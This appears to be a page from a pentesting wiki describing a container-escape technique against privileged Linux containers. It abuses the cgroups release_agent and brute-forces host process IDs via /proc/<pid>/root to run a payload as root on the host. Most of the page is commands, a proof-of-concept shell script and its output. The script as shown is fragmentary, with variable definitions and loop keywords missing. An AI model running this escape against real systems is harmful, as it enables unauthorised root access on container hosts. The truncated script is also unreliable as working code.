Network Services Pentesting
release_agent exploit - Relative Paths to PIDs
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The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example overlayfs, however there are configurations which did not obviously disclose the host file system mount point.
In this PoC instead of using the path where the container is located inside the hosts filesystem, we are going to discover a container PID inside the host a

Examples of container not exposing the path location inside the host

Kata Containers

[email protected]:~$ head -1 /etc/mtab
kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
โ€‹Kata Containers by default mounts the root fs of a container over 9pfs. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine.

Device Mapper

[email protected]:~$ head -1 /etc/mtab
/dev/sdc / ext4 rw,relatime,stripe=384 0 0
I saw a container with this root mount in a live environment, I believe the container was running with a specific devicemapper storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment.


The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere.


The Linux /proc pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the /proc directory of the process on the host:Container
[email protected]:~$ sleep 100
[email protected]:~$ ps -eaf | grep sleep
root 28936 28909 0 10:11 pts/0 00:00:00 sleep 100
[email protected]:~$ ls -la /proc/`pidof sleep`
total 0
dr-xr-xr-x 9 root root 0 Nov 19 10:03 .
dr-xr-xr-x 430 root root 0 Nov 9 15:41 ..
dr-xr-xr-x 2 root root 0 Nov 19 10:04 attr
-rw-r--r-- 1 root root 0 Nov 19 10:04 autogroup
-r-------- 1 root root 0 Nov 19 10:04 auxv
-r--r--r-- 1 root root 0 Nov 19 10:03 cgroup
--w------- 1 root root 0 Nov 19 10:04 clear_refs
-r--r--r-- 1 root root 0 Nov 19 10:04 cmdline
-rw-r--r-- 1 root root 0 Nov 19 10:29 projid_map
lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> /
-rw-r--r-- 1 root root 0 Nov 19 10:29 sched
As an aside, the /proc/<pid>/root data structure is one that confused me for a very long time, I could never understand why having a symbolic link to / was useful, until I read the actual definition in the man pages:
UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the processโ€™s root directory, and behaves in the same way as exe, and fd/*.
Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself.
The /proc/<pid>/root symbolic link can be used as a host relative path to any file within a container:
[email protected]:~$ echo findme > /findme
[email protected]:~$ sleep 100
[email protected]:~$ cat /proc/`pidof sleep`/root/findme
This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_** process running in the container.**

Pid Bashing

This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The init process is assigned process id 1 and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:
[email protected]:~$ echo findme > /findme
[email protected]:~$ sleep 100
[email protected]:~$ COUNTER=1
[email protected]:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done
[email protected]:~$ echo ${COUNTER}
[email protected]:~$ cat /proc/${COUNTER}/root/findme

Putting it All Together

To complete this attack the brute force technique can be used to guess the PID for the path /proc/<pid>/root/payload.sh, with each iteration writing the guessed pid path to the cgroups release_agent file, triggering the release_agent, and seeing if an output file is created.
The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this should not cause reliability issues, but donโ€™t quote me on that.
The below PoC implements these techniques to provide a more generic attack than first presented in Felixโ€™s original PoC for escaping a privileged container using the cgroups release_agent functionality:
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
while [ ! -f ${OUTPUT_PATH} ]
if [ $((${TPID} % 100)) -eq 0 ]
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
echo "Exiting at ${MAX_PID} :-("
exit 1
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
# Wait for and cat the output
sleep 1
echo "Done! Output:"
Executing the PoC within a privileged container should provide output similar to:
[email protected]:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200
Done! Output:
root 1 0 0 11:25 ? 00:00:01 /sbin/init
root 2 0 0 11:25 ? 00:00:00 [kthreadd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]


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